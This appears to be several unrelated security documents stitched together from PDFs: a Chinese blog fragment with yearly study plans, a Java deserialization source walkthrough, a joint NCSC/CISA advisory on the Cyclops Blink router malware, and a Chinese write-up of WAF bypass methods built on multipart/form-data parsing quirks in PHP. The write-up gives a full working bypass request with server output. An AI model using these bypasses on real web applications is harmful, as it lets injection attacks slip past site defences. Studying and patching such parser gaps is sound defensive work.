⼀个新世界来,⽽且还得设法让它正常运转。
书中⼀个趣事
新上的unix课,⽼师和我们⼀样,对unix也不熟悉。他⼀开始就很坦率的告诉了我们这⼀点,所以这不是什
么⼤问题。不过他只会提前预习下⼀章,但有时候我们会提前跳着读后⾯三个章节,于是上课就变成了⼀种
师⽣⽐赛,学⽣们向⽼师提⼀些三章后才学到的问题,看能不能把⽼师问倒,看他是不是已经读到了那⾥。
Unix系统的简洁并不是天⽣就有。要知道,这个有着建筑构件概念的操作系统,可是AT&T⻉尔实验室的丹
尼斯⾥奇和肯汤普逊⾟⾟苦苦花了⼤⼒⽓写出来的!你也千万别把简洁和容易混为⼀谈。简洁需要良好的设
计和卓然的品味,要做到简洁可⼀点都不容易。
对⾥⾯的师⽣⽐赛很是羡慕,如果未来我要做⽼师的话,我也要做这样的⽼师。
New 2022()
惯例给⾃⼰新的⼀年制定下计划(暂定)。
去年定了学习pwn,就看了⼏篇⽂章,然后之后都忘了。去年在做yara逆向的时候看到了⼏篇有关yara漏洞
的⽂章,漏洞点知道在哪,但是利⽤层⾯完全不懂了,今年学习下pwn的⼀些漏洞点和利⽤⽅式吧。
⾃动化刷src
想给⾃⼰被动赚钱多⼀个⻔路,⼀些基础的地基项⽬差不多完成了,现在只要组装⼀下测试效果。
之前有过⼀段时间的研究,后⾯是条件限制终⽌了,但是也挖到了较⼤的成果。现在服务器有了,
web2.0爬⾍有开源的了,w13scan所具备的技战术,以及我对go差不多摸清楚了,所以想重启这个研
究,挖点⼤事情。
对⼀个技术做深⼊的研究
具体哪个技术,我还没想好,但是深⼊的研究,我想应该先把相关的⽂章和paper读完,做到了这⼀
步,到年中的时候再来规划吧。
2021⾃⼰觉得还是做了挺多有意思的研究,学习了很多东⻄,2022不知道还有哪些有意思的事情在等着呢? | pdf |
java.io.ObjectInputStream 反序列化分析 -…
Skay
这⾥主要参考了李三师傅的⽂章 http://redteam.today/2020/02/14/Java%E5%8E%9F%E
7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%B
A%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%8
1%E5%88%86%E6%9E%90/ 膜膜膜
感觉看了⽂章⼀下⼦明⽩了好多,当然还有好很多疑问
图镇楼
(1) ⾸先起⼀个Demo调试环境
被序列化的类
/**
1
我们的序列化和反序列化⽅法
* @auther Skay
2
* @date 2020/12/20 22:06
3
* @description
4
*/
5
public class theObj implements java.io.Serializable{
6
public String theObj;
7
public void mailCheck()
8
{
9
System.out.println("This is the "+this.theObj);
10
}
11
}
12
import java.io.*;
1
2
/**
3
* @auther Skay
4
* @date 2020/12/20 22:07
5
* @description
6
*/
7
public class SerializeDemo {
8
public static void main(String [] args)
9
{
10
serialize();
11
deserialize();
12
}
13
14
public static void serialize(){
15
theObj theobj = new theObj();
16
theobj.theObj = "I'm the obj";
17
try
18
{
19
// 打开一个文件输入流
20
FileOutputStream fileOut =
21
new FileOutputStream("se.txt");
22
// 建立对象输入流
23
ObjectOutputStream out = new ObjectOutputStream(fileOut);
24
//输出反序列化对象
25
out.writeObject(theobj);
26
out.close();
27
fileOut.close();
28
System.out.printf("Serialized data is saved in se.txt\n");
29
}catch(Exception e)
30
{
31
e.printStackTrace();
32
}
33
}
34
35
public static void deserialize(){
36
theObj theobj = null;
37
try
38
{
39
运⾏如下:
(2) 调试分析
1.序列化 writeobject
1.1 预处理
我们断点下到writeobject中,⾸先进⼊预处理逻辑,进⼊writeobject0
// 打开一个文件输入流
40
FileInputStream fileIn = new FileInputStream("se.txt");
41
// 建立对象输入流
42
ObjectInputStream in = new ObjectInputStream(fileIn);
43
// 读取对象
44
theobj = (theObj) in.readObject();
45
in.close();
46
fileIn.close();
47
}catch(Exception e)
48
{
49
e.printStackTrace();
50
return;
51
}
52
System.out.println("Deserialized theObj...");
53
System.out.println("This is the "+theobj.theObj);
54
}
55
}
56
这⾥参考⽂章提到的是通过内省拿到desc(ObjectOutputStreamClass),
官⽅⽂档中描述ObjectOutputStreamClass:
类的序列化描述符。它包含类的名称和 serialVersionUID。可以使⽤ lookup ⽅法找到/创建
在此 Java VM 中加载的具体类的 ObjectStreamClass。
以便于后期对⽬标类进⾏内省(内省我暂时的理解是反射的阉割版本,阉割了反射的修改功
能,但是暂时还没有深⼊分析过反射和内省,留坑),不过desc的⽣成让我们确定了suid是在
哪⾥产⽣的
然后⾛到java.io.ObjectOutputStream#writeOrdinaryObject开始真正的序列化数据
这⾥分为三个步骤TC_OBJECT、⽣成类的元信息、填充类的具体数据
1.2 TC_OBJECT
⾸先是TC_OBJECT的填⼊
什么是TC_OBJECT,我们观察java序列化后的字符串前⼏个字节
AC ED: STREAM_MAGIC。指定这是⼀个序列化协议。
00 05:STREAM_VERSION。序列化版本。
0x73:TC_OBJECT。指定这是⼀个new Object。
STREAM_MAGIC以及STREAM_VERSION的填⼊是在ObjectOutpuutStream初始化中就已
⽣成
如果想看其它写⼊对象序列化流的常量,参考java.io.ObjectStreamConstants
1.3 ⽣成类的元信息
进⼊java.io.ObjectOutputStream#writeClassDesc,这个⽅法的注释信息写的是将给定类描
述符的表示形式写⼊流。嗯,参考⽂章写的元信息,差不多吧,汉语博⼤精深。
然后再看这个⽅法,很简单的逻辑,if else,分别处理对象为null类型、handler类型、代理类
型 以及所有其它类型,我⾃定义的theObject会⾛到最后⼀个else⾥
跟进java.io.ObjectOutputStream#writeNonProxyDesc
⾸先会填⼊TC_CLASSDESC,类描述符,然后具体跟进writeClassDescriptor
writeClassDescriptor中会直接调⽤desc.writeNonProxy(this);
写⼊name 写⼊suid 在for循环⾥写⼊属性信息
这⾥注意⼀点writeNonProxyDesc走完writeClassDescriptor逻辑后,会递归调用
writeClassDesc写入父类元信息。
1.4 写⼊类属性具体值
java.io.ObjectOutputStream#writeSerialData
跟进java.io.ObjectOutputStream#defaultWriteFields
这个图⽚直接偷的233333333333(其它不是哦~)
可以看到在序列化的时候世界上是写入了各字段长度的,所以在后面反序列化读的时
候是按照字段长度来进行读取的。这也解释了为什么在反序列化数据后面插入脏数据
会不会影响反序列化。
2.反序列化 readobject
2.1 预处理
直接跟进到java.io.ObjectInputStream#readObject0,这⾥有⼀个switch case逻辑,还记得
刚才的115麽?因为是对对象的操作,所以会⾛到这⾥啦~
因为反序列化的步骤就是序列化的逆向,所以还是和序列化的⼤致步骤⼀样,先是还原类的元
信息,然后读取对象属性的具体值 整体逻辑都在
java.io.ObjectInputStream#readOrdinaryObject中
2.2 还原类的元信息
java.io.ObjectInputStream#readClassDesc 好熟悉,有没得
进⼊java.io.ObjectInputStream#readNonProxyDesc
主要关注readClassDescriptor、readsolveClass、以及最后的递归
⾸先是readClassDescriptor
java.io.ObjectInputStream#readNonProxyDesc中有⼀个readClassDescriptor处理逻辑,⽅
法注释为:加载与指定流类等效的本地类,参考⽂章中说到这⾥就是对类类型进⾏了构建,开
始对类(desc)进⾏构建了。
跟进java.io.ObjectInputStream#readClassDescriptor,然后进⼊
java.io.ObjectStreamClass#readNonProxy 还原name 还原suid 循环还原fields,治理注意⼀
下field,反序列化时,java时讲属性抽象到了ObjectStreamField类中
然后是 resolveClass
forname的第⼀个参数为false,所以不会执⾏static代码块
resolveClass,反序列化的防御点就是这⾥,重写ObjInputStream时,覆盖的也是这个⽅法,
加上⾃⼰的⽩名单或者⿊名单的过滤
最后是initNonProxy 初始化表示⾮代理类的元数据,以及对readClassDesc进⾏递归。对我们
的ObjectStreamClass desc进⾏还原
最后的ObjectStreamClass desc填充好后会返回
java.io.ObjectInputStream#readOrdinaryObject
然后交给到java.io.ObjectInputStream#readSerialData
2.3 还原类属性值 readSerialData
其实映⼊眼帘的还有个readExternalData,留个坑,回头再说
直接进⼊java.io.ObjectInputStream#readSerialData ⽅法注释为读取每个可序列化类的实例
数据,嗯,就是将类属性的值填充进去
和writeobject⼀样,如果我们⾃定义了readobject⽅法,就不会⾛到default逻辑,会⾛到
java.io.ObjectStreamClass#invokeReadObject中
java.io.ObjectInputStream#defaultReadFields,
defaultReadFields,中第⼀个循环把原⽣类型数据赋给obj,第⼆个循环把数组、枚举类
型、对象类型赋给obj。
⾄此结束。
(3) 参考链接
http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5%
88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%
96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/ | pdf |
Advisory.
New Sandworm malware
Cyclops Blink replaces
VPNFilter
Version 1.0
23 February 2022
© Crown Copyright 2022
New Sandworm malware Cyclops Blink
replaces VPNFilter
The Sandworm actor, which the UK and US have previously attributed to
the Russian GRU, has replaced the exposed VPNFilter malware with a new
more advanced framework.
Background
The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure
Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau
of Investigation (FBI) in the US have identified that the actor known as Sandworm or
Voodoo Bear is using a new malware, referred to here as Cyclops Blink. The NCSC,
CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian
GRU’s Main Centre for Special Technologies GTsST. The malicious cyber activity
below has previously been attributed to Sandworm:
• The BlackEnergy disruption of Ukrainian electricity in 2015
• Industroyer in 2016
• NotPetya in 2017
• Attacks against the Winter Olympics and Paralympics in 20181
• A series of disruptive attacks against Georgia in 20192
Cyclops Blink appears to be a replacement framework for the VPNFilter malware
exposed in 2018, which exploited network devices, primarily small office/home office
(SOHO) routers and network attached storage (NAS) devices.
1https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games
2 https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks
This advisory summarises the VPNFilter malware it replaces, and provides more detail
about Cyclops Blink, as well as the associated tactics, techniques and procedures
(TTPs) used by Sandworm. An NCSC malware analysis report on Cyclops Blink is
also available and can be read in parallel.
It also points to mitigation measures to help organisations that may be affected by this
malware.
VPNFilter
First exposed in 2018
A series of articles published by Cisco Talos in 20181 describes VPNFilter and its
modules in detail. VPNFilter was deployed in stages, with most functionality in the
third-stage modules. These modules enabled traffic manipulation, destruction of the
infected host device, and likely enabled downstream devices to be exploited. They
also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing
requirement for Sandworm, as also seen in their previous attacks against ICS
networks.
VPNFilter targeting was widespread and appeared indiscriminate, with some
exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018.
Sandworm also deployed VPNFilter against targets in the Republic of Korea before
the 2018 Winter Olympics.
In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US
Department of Justice linked the activity2 to Sandworm, and announced its disruption
of the botnet.
Activity since its exposure
A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and
provided data showing a reduction in requests to a known C2 domain. Since the
disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter
footholds, instead preferring to retool.
1 https://blog.talosintelligence.com/2018/05/VPNFilter.html
2 https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
3 https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html
Cyclops Blink
Active since 2019
The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a
large-scale modular malware framework which is affecting network devices. The new
malware is referred to here as Cyclops Blink and has been deployed since at least
June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter,
Cyclops Blink deployment also appears indiscriminate and widespread.
The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it
is likely that Sandworm would be capable of compiling the malware for other
architectures and firmware.
Malware overview
The malware itself is sophisticated and modular with basic core functionality to beacon
(T1132.002) device information back to a server and enable files to be downloaded
and executed. There is also functionality to add new modules while the malware is
running, which allows Sandworm to implement additional capability as required.
The NCSC has published a malware analysis report on Cyclops Blink which provides
more detail about the malware.
Post exploitation
Post exploitation, Cyclops Blink is generally deployed as part of a firmware ‘update’
(T1542.001). This achieves persistence when the device is rebooted and makes
remediation harder.
1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote
management interfaces to external access could be infected.
Victim devices are organised into clusters and each deployment of Cyclops Blink has
a list of command and control (C2) IP addresses and ports that it uses (T1008). All the
known C2 IP addresses to date have been used by compromised WatchGuard firewall
devices. Communications between Cyclops Blink clients and servers are protected
under Transport Layer Security (TLS) (T1071.001), using individually generated keys
and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer
through the Tor network:
Mitigation
Cyclops Blink persists on reboot and throughout the legitimate firmware update
process. Affected organisations should therefore take steps to remove the malware.
WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided
tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard
devices through a non-standard upgrade process. Device owners should follow each
step in these instructions to ensure that devices are patched to the latest version and
that any infection is removed.
WatchGuard tooling and guidance is available at:
https://detection.watchguard.com/
In addition:
• If your device is identified as infected with Cyclops Blink, you should assume
that any passwords present on the device have been compromised and
replace them (see NCSC password guidance for organisations:
https://www.ncsc.gov.uk/collection/passwords )
• You should ensure that the management interface of network devices is not
exposed to the internet.
Indicators of compromise
Please refer to the accompanying Cyclops Blink malware analysis report for indicators
of compromise which may help detect this activity.
MITRE ATT&CK®
This advisory has been compiled with respect to the MITRE ATT&CK® framework, a
globally accessible knowledge base of adversary tactics and techniques based on
real-world observations.
Tactic
Technique
Procedure
Initial Access
T1133
External Remote Services
The actors most likely deploy modified device firmware
images by exploiting an externally available service
Execution
T1059.004
Command and Scripting Interpreter: Unix Shell
Cyclops Blink executes downloaded files using the
Linux API
Persistence
T1542.001
Pre-OS Boot: System Firmware
Cyclops Blink is deployed within a modified device
firmware image
T1037.004
Boot or Logon Initialisation Scripts: RC Scripts
Cyclops Blink is executed on device startup, using a
modified RC script
Defence Evasion
T1562.004
Impair Defenses: Disable or Modify System Firewall
Cyclops Blink modifies the Linux system firewall to
enable C2 communication
T1036.005
Masquerading: Match Legitimate Name or Location
Cyclops Blink masquerades as a Linux kernel thread
process
Discovery
T1082
System Information Discovery
Cyclops Blink regularly queries device information
Command and
Control
T1090
Proxy
T1132.002
Data Encoding: Non-Standard Encoding
Cyclops Blink command messages use a custom
binary scheme to encode data
T1008
Fallback Channels
Cyclops Blink randomly selects a C2 server from
contained lists of IPv4 addresses and port numbers
T1071.001
Application Layer Protocol: Web Protocols
Cyclops Blink can download files via HTTP or HTTPS
T1573.002
Encrypted Channel: Asymmetric Cryptography
Cyclops Blink C2 messages are individually encrypted
using AES-256-CBC and sent underneath TLS
T1571
Non-Standard Port
The list of port numbers used by Cyclops Blink
includes non-standard ports not typically associated
with HTTP or HTTPS traffic
Exfiltration
T1041
Exfiltration Over C2 Channel
Cyclops Blink can upload files to a C2 server
Conclusion
A Cyclops Blink infection does not mean that an organisation is the primary target,
but it may be selected to be, or its machines could be used to conduct attacks.
Organisations are advised to follow the mitigation advice in this advisory and to refer
to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis
report to detect possible activity on networks.
UK organisations affected by the activity outlined in this advisory should report any
compromises to the NCSC via our website.
Further guidance
A variety of mitigations will be of use in defending against the malware featured in this
advisory.
•
Do not expose management interfaces of network devices to the internet: the
management interface is a significant attack surface, so not exposing them
reduces the risk. See NCSC guidance:
https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-network-
devices
•
Protect your devices and networks by keeping them up to date: use the latest
supported versions, apply security patches promptly, use anti-virus and scan
regularly to guard against known malware threats. See NCSC
guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware
•
Use multi-factor authentication to reduce the impact of password
compromises. See NCSC guidance: https://www.ncsc.gov.uk/guidance/multi-
factor-authentication-online-services and https://www.ncsc.gov.uk/guidance/setting-
two-factor-authentication-2fa
•
Treat people as your first line of defence. Tell staff how to report suspected
phishing emails, and ensure they feel confident to do so. Investigate their reports
promptly and thoroughly. Never punish users for clicking phishing links or opening
attachments. See NCSC guidance: https://www.ncsc.gov.uk/phishing
•
Set up a security monitoring capability so you are collecting the data that will be
needed to analyse network intrusions. See NCSC
guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security-
purposes.
•
Prevent and detect lateral movement in your organisation’s networks. See
NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
Disclaimers
This report draws on information derived from NCSC and industry
sources. Any NCSC findings and recommendations made have not been
provided with the intention of avoiding all risks and following the
recommendations will not remove all such risk. Ownership of information
risks remains with the relevant system owner at all times.
All material is UK Crown Copyright ©
DISCLAIMER OF ENDORSEMENT The information and opinions
contained in this document are provided "as is" and without any
warranties or guarantees. Reference herein to any specific commercial
products, process, or service by trade name, trademark, manufacturer,
or otherwise, does not constitute or imply its endorsement,
recommendation, or favoring by the United States Government, and this
guidance shall not be used for advertising or product endorsement
purposes.
For NSA client requirements or general cybersecurity inquiries, contact
the NSA Cybersecurity Requirements Center at 410-854-4200 or
[email protected].
About this document
This advisory is the result of a collaborative effort by United Kingdom’s
National
Cyber
Security
Centre
(NCSC),
the
United
States’
Cybersecurity and Infrastructure Security Agency (CISA), Federal
Bureau of Investigation (FBI) and National Security Agency (NSA)
The United States’ Cybersecurity and Infrastructure Security Agency
(CISA), Federal Bureau of Investigation (FBI) and National Security
Agency (NSA) agree with this attribution and the details provided in the
report.
This advisory has been compiled with respect to the MITRE ATT&CK®
framework, a globally accessible knowledge base of adversary tactics
and techniques based on real-world observations. | pdf |
腾讯 WAF 挑战赛回忆录
by do9gy
Part 0
应各位好友诚挚邀请,分享一下 WAF Bypass 相关的技巧。其实本来应该在比赛结束就
跟大家分享,无奈于 TSRC 那边对各位师傅提交的 Bypass 尚未统一修复,一直推迟到今日。
本文披露的相关技术信息已经得到 TSRC 有关方面的许可,且隐藏了相关 POC 的内容,只
分享技术原理及绕过思路,希望能够起到抛砖引玉的作用。
首先谈一下 WAF。Web 应用防火墙,主要用途是对 HTTP(s)协议进行校验,拦截恶
意的攻击请求,放行正常的业务请求。从架构来看,主要分为:网络层、应用层、云 WAF 三
类。从绕过来看,分为通用型绕过和单一规则绕过。通用型绕过即完全绕过 WAF 防护,一
旦产生绕过后,可以利用该 Payload 实现任意一种攻击;而单一规则绕过,则仅能够绕过特
定规则,例如:SQL 注入规则中使用 select-1.1from……来绕过 select\b[\s\S]*\bfrom 这一
正则规则,绕过以后仅能够实现 SQL 注入攻击。我所致力研究的属于前者。
从网络层、应用层、云 WAF 三类场景来看他们的绕过思路也有所区别,例如,对于传
统的网络层 WAF,采用 chunked 编码即可绕过,目前多数 WAF 厂商已经修复,但是我们仍
然可以在网络层发包这一方向进行尝试和探索。对于应用层 WAF,WAF 的处理引擎是经过
前端 Nginx 或 Apache(大多数场景都是 Nginx 及 Tengine)完成 HTTP 协议初步解析以后,
再转发给 WAF 处理引擎的,因而一些网络层组包的技术是无法绕过的。那么就需要我们去
研究:对于一个 HTTP 请求,Nginx 解析了什么内容?交给后面的 PHP、ASP 又解析了什么
内容?
本文介绍的思路主要围绕: multipart/form-data。主要针对于 POST 参数的,对于漏洞
点在 GET 参数位置则用处不大。
1. multipart/form-data 。我们知道,HTTP 协议 POST 请求,除了常规的 application/x-www-
form-urlencoded 以外,还有 multipart/form-data 这种形式,主要是为了解决上传文件场景
下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参
数的。对于 Nginx+PHP 的架构,Nginx 实际上是不负责解析 multipart/form-data 的 body 部
分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有可能与后端的 PHP 发生不一
致。
以 PHP 为例,我们写一个简单的测试脚本:
```
<?php
echo file_get_contents("php://input");
var_dump($_POST);
var_dump($_FILES);
?>
```
此时,我们将其转为 multipart/form-data 格式:
可以看到,实际上和前一种 urlencoded 是达到了同一种效果,参数并没有进入$_FILES
数组,而是进入了$_POST 数组。那么,何时是上传文件?何时是 POST 参数呢?这个关键
点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的,缺一个字符不可,替
换一个字符也不可,在其中添加一个字符更不可。
加上了 filename=以后的效果:
Bypass WAF 的核心思想在于,一些 WAF 产品处于降低误报考虑,对用户上传文件的内
容不做匹配,直接放行。事实上,这些内容在绝大多数场景也无法引起攻击。但关键问题在
于,WAF 能否准确有效识别出哪些内容是传给$_POST 数组的,哪些传给$_FILES 数组?如
果不能,那我们是否就可以想办法让 WAF 以为我们是在上传文件,而实际上却是在 POST
一个参数,这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击,这样就实现了
通用 WAF Bypass。
Part 1:
下面我们来看一下几种入门级的绕过思路:
1. 0x00 截断 filename
注意在 filename 之前加入了 0x00,而有些 WAF 在检测前会删除 HTTP 协议中的 0x00,
这样就导致了 WAF 认为是含有 filename 的普通上传,而后端 PHP 则认为是 POST 参数。
2. 双写上传描述行
双写后,一些 WAF 会取第二行,而实际 PHP 会获取第一行。
3. 双写整个 part 开头部分
此时,该参数会引入一些垃圾数据,在命令注入及 SQL 注入的攻击场景,需要尽可能
将前面的内容闭合。
4. 构造假的 part 部分 1
该方法与前一种类似。
5. 构造假的 part 部分 2
注意这里比前一种少了一个换行,数据纯净了许多。
6. 两个 boundary
对于 php 来说,真正的 boundary 是 a 。
7. 两个 Content-Type
boundary 仍然是 a
8. 空 boundary
注意此时 boundary 是空的,并不是分号哦。
9. 空格 boundary
注意,此时 boundary 是可以为空格的。
10. boundary 中的逗号
boundary 遇到逗号就结束了。
同理:
Part2
如果你能够融会贯通这十种思路,说明已经入门了,我们开始脑洞升级,来看一下进阶
版:
1. 0x00 截断进阶
前面,我们介绍了,如果是这样双写,其实是以第一行为主的,这样就是上传文件。但
如果我们在适当的地方加入 0x00、空格和 \t , 就会破坏第一行,让 PHP 反以第二行为主:
这三个位置是首选的。将其替换为 0x00 和 0x20 与之同理, 大家可自行测试。
此外还有:
这里的\0,也是可以的。
最容易被忽视的是参数名中的 0x00。
由此测试还有一个十分鸡肋的方式,用处不大,但有意思。只有当网站获取全部 POST 数组
后以参数前缀来取值的场景才可利用,因为参数名后缀部分不可控。
2. boundary 进阶
boundary 的名称是可以前后加入任意内容的,WAF 如果严格按 boundary 去取,又要
上当了。
第一个 Content-Type 和冒号部分填入了空格。
如何取 boundary 是一个问题:
3. 单双引号混合进阶
我们需要考虑的问题是,Content-Disposition 中的字段使用单引号还是双引号?
4. urlencoded 伪装成为 multipart
这个 poc 很特殊。实际上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装
饰部分,保留 id 参数的完整性。理论上 multipart/form-data 下的内容不进行 urldecoded,
一些 WAF 也正是这样设计的,这样做本没有问题,但是如果是 urlencoded 格式的内容,不
进行 url 解码就会引入%0a 这样字符,而这样的字符不解码是可以直接绕过防护规则的,从
而导致了绕过。
Part2 部分相当于是 Part1 的一个扩展,篇幅有限,大家只需要在各个位置添加特殊字
符 fuzz 即可。对于 Part3 却需要看一点 PHP 源码了。
Part3
1. skip_upload 进阶 1
在 PHP 中,实际上是有一个 skip_upload 来控制上传行是否为上传文件的。来看这样
一个例子:
前面内容中我们介绍了,如果在第一行的 Content-Disposition 位置添加\0,是有可能引
起第一行失效,从而从上传文件变为 POST 参数的。除此以外,我们来看一下 php 源码 php-
5.3.3/main/rfc1867.c
,其中 line: 991 有这样一段内容:
if (!skip_upload) {
char *tmp = param;
long c = 0;
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp[1] && tmp[1] != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++; }
}
其中的 param 参数是 name="f" 也就是 id 这个参数,那么请问,如何能让它 skip_upload
呢?
没错,一些理解代码含义的同学应该已经有答案了。通过想办法进入 c < 0,c 原本是
0,遇到[ 就自增 1,遇到]就减一。那么,我们构造 name="f]" 即可让 c=-1 。
成功。事实上,只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。
那么,还有其他的 skip_upload 吗?
2. skip_upload 进阶 2
还需要继续研究代码。在 php 源码 rfc1867.c line 909
/* If file_uploads=off, skip the file part */
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file
uploads has been exceeded");
}
Maximum number of allowable file uploads has been exceeded ,如何达到 Maximum?
发现在 php 5.2.12 和以上的版本,有一个隐藏的文件上传限制是在 php.ini 里没有的,就是
这个 max_file_uploads 的设定,该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文
件上传限制最大默认设为 20,所以一次上传最大就是 20 个文档,所以超出 20 个就会出错
了。
那么:
POST /8.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data;boundary=a;
Content-Length: 2065
--a
Content-Disposition: form-data; name="a";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="b";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="c";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="d";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="e";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="f";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="g";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="h";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="i";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="j";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="k";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="l";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="m";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="n";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="o";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="p";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="q";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="r";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="s";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="t";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="id";filename="1.png"
Content-Type: image/png
--a
Content-Disposition: form-data; name="id";
Content-Type: image/png
alert(1)
--a--
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Thu, 03 Mar 2022 07:14:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Content-Length: 4507
POST content:
POST:array(1) {
["id"]=>
string(8) "alert(1)"
}
FILES:array(20) {
["a"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php1FFea0"
["error"]=>
int(0)
["size"]=>
int(1)
}
["b"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGwwobf"
["error"]=>
int(0)
["size"]=>
int(1)
}
["c"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpmJOlzI"
["error"]=>
int(0)
["size"]=>
int(1)
}
["d"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpL9SbXe"
["error"]=>
int(0)
["size"]=>
int(1)
}
["e"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php5TEkl4"
["error"]=>
int(0)
["size"]=>
int(1)
}
["f"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpeAzjtW"
["error"]=>
int(0)
["size"]=>
int(1)
}
["g"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKQX29k"
["error"]=>
int(0)
["size"]=>
int(1)
}
["h"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpN259vi"
["error"]=>
int(0)
["size"]=>
int(1)
}
["i"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKjE3L1"
["error"]=>
int(0)
["size"]=>
int(1)
}
["j"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpxK3Ja2"
["error"]=>
int(0)
["size"]=>
int(1)
}
["k"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKfmKKS"
["error"]=>
int(0)
["size"]=>
int(1)
}
["l"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGbWp4q"
["error"]=>
int(0)
["size"]=>
int(1)
}
["m"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpfb4WGA"
["error"]=>
int(0)
["size"]=>
int(1)
}
["n"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpiW4wAU"
["error"]=>
int(0)
["size"]=>
int(1)
}
